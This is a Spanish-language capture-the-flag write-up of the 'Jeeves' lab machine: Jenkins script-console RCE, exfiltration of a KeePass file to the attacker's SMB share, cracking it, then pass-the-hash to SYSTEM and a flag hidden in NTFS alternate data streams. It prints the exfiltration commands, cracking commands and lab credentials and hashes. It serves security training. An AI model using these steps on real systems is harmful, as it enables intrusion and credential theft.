Jeeves (Medium)
root@SynAckLabs:~# ./show_index.sh
Resumen
Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de Jenkins mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de Groovy. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de KeePass (.kdbx). Finalmente, el acceso a la flag de root presenta un reto que no había visto nunca: está oculta utilizando Alternate Data Streams (ADS) de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.

Enumeración
Comenzamos con un escaneo de puertos para identificar servicios expuestos.
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Ask Jeeves
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 5h00m03s, deviation: 0s, median: 5h00m02s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 33742/tcp): CLEAN (Timeout)
| Check 2 (port 23387/tcp): CLEAN (Timeout)
| Check 3 (port 64279/udp): CLEAN (Timeout)
| Check 4 (port 23548/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2026-01-20T20:14:36
|_ start_date: 2026-01-20T20:09:27
Tenemos dos puertos web principales:
- Puerto 80 (IIS): Muestra una página de búsqueda “Ask Jeeves” que da error al intentar buscar.


- Puerto 50000 (Jetty): Muestra un error 404 por defecto.

Este error indica que hay un servidor web ejecutándose en tu puerto 50000, pero no hay ninguna página o contenido configurado en la raíz (/).
Realizamos Fuzzing de directorios en ambos puertos. El puerto 50000 no arroja resultados, pero el puerto 80 revela algo interesante.
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.79.44:50000/FUZZ ---- NO ENCONTRAMOS NADA
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.79.44/FUZZ ---- askjeeves [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 54ms]
Acceso Inicial (Jenkins)
Al acceder a http://10.129.79.44/askjeeves, encontramos un servidor de automatización Jenkins (versión 2.87).

Explotación de Groovy Script Console
No se requieren credenciales. Podemos acceder a Manage Jenkins -> Script Console. Esta consola permite ejecutar scripts en Groovy, lo cual equivale a ejecución de comandos en el sistema.
Probamos una Reverse Shell en Groovy:


Conseguimos acceso como el usuario: jeeves\kohsuke.
Enumeramos buscando la user flag que la encontramos en el directorio ‘Desktop’ de este mismo usuario.
Enumerando el sistema de archivos de kohsuke, encontramos un archivo interesante en el directorio ‘Documents’:

La extensión .kdbx pertenece a KeePass, que es un gestor de contraseñas de código abierto.
Post-Explotación y Movimiento Lateral
Exfiltración con SMBServer
Levantamos un servidor SMB en Kali y copiamos el archivo desde la máquina víctima.
En Kali (Atacante):
sudo impacket-smbserver share -smb2support /home/kali//Desktop/HTB/Jeeves/loot/share
...
[*] User JEEVES\kohsuke authenticated successfully
[*] kohsuke::JEEVES:aaaaaaaaaaaaaaaa:7507b33e1ec7eb5636215c53f6838840:0101000000000000003f85a8258adc014b20a5279bb7f11d000000000100100046006d0075004f006f00700048006e000300100046006d0075004f006f00700048006e000200100077004b007800780061005600580068000400100077004b0078007800610056005800680007000800003f85a8258adc0106000400020000000800300030000000000000000000000000300000d25ba4cb43338289e6e027ea75d7d00fae7f01ff23696236086241c02e9b50070a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0034003400000000000000000000000000
[*] Connecting Share(1:share)
En Windows (Víctima):
C:\Users\kohsuke\Documents>copy CEH.kdbx \\10.10.15.44\share\
copy CEH.kdbx \\10.10.15.44\share\
1 file(s) copied.
Cracking KeePass
Primero extraemos el hash del archivo .kdbx y luego lo crackeamos con John the Ripper.

john --format=keepass keepass.hash -w=/usr/share/wordlists/seclists/rockyou.txt
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
moonshine1 (CEH)
Inspección de Credenciales (Kpcli)
Usamos kpcli para abrir la base de datos con la contraseña obtenida.

Podemos ver las credenciales.

Si las copiamos las tenemos en el copiapapeles.
kpcli:/CEH> show 0
Title: Backup stuff
Uname: ?
Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
URL:
Notes:
kpcli:/CEH> show -p 4
Unknown option: p
Title: It's a secret
Uname: admin
Pass: F7WhTrSFDKB6sxHU1cUn
URL: http://localhost:8180/secret.jsp
Notes:
Title: Keys to the kingdom
Uname: bob
Pass: lCEUnYPjNfIuPZSzOySA
URL:
Notes:
Escalada de Privilegios (Pass The Hash)
El hash encontrado en “Backup stuff” es un hash NTLM. Podemos usar la técnica Pass The Hash (PtH) para autenticarnos como Administrador sin saber la contraseña en texto claro.

¡Éxito! Obtenemos una shell como nt authority\system.

Pues parece que no hemos acabado …
El “Rabbit Hole” de la Root Flag (ADS)
Al ir al directorio del Administrador (C:\Users\Administrator\Desktop), encontramos un archivo hm.txt pero no está la flag root.txt.
Al leer hm.txt, nos da una pista sobre “mirar más profundo”. Esto hace referencia a los Alternate Data Streams (ADS) de NTFS.
Concepto: ADS
En NTFS, un archivo puede tener múltiples flujos de datos adjuntos. El flujo principal es $DATA, pero se pueden ocultar datos detrás del archivo principal, invisibles para un dir normal o el explorador de Windows.

¿Cómo funcionan los ADS?
En un sistema NTFS, un archivo se identifica por el formato nombre_archivo:nombre_stream.
- Flujo estándar: Cuando abres
archivo.txt, en realidad estás abriendoarchivo.txt:$DATA. - Flujo alternativo: Puedes crear algo como
archivo.txt:secreto.txt.
Leer el contenido del flujo oculto
No se puede usar type directamente sobre el stream. usamos el comando more :
more < hm.txt:root.txt
Ahora si conseguimos la root flag!